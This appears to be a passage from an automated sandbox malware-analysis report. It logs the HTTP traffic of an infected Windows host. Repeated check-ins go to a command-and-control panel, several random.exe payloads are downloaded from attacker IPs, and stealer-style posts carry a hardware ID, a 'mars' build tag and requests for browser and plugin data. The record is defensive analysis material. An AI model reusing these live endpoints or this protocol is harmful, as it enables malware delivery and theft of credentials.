6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731960470002Host: self.events.data.microsoft.comContent-Length: 7974Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007229001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007230001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 2d 2d 0d 0a Data Ascii: ------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="message"browsers------JJJKEHCAKFBFHJKEHCFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"plugins------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="message"fplugins------IJEGHJECFCFCBFIDBGCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 185.215.113.206Content-Length: 6419Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007231001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007232001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007233001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECFIJDAAKEBGCGHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 46 49 4a 44 41 41 4b 45 42 47 43 47 48 49 45 2d 2d 0d 0a Data Ascii: ------CFIECFIJDAAKEBGCGHIEContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------CFIECFIJDAAKEBGCGHIEContent-Disposition: form-data; name="build"mars------CFIECFIJDAAKEBGCGHIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
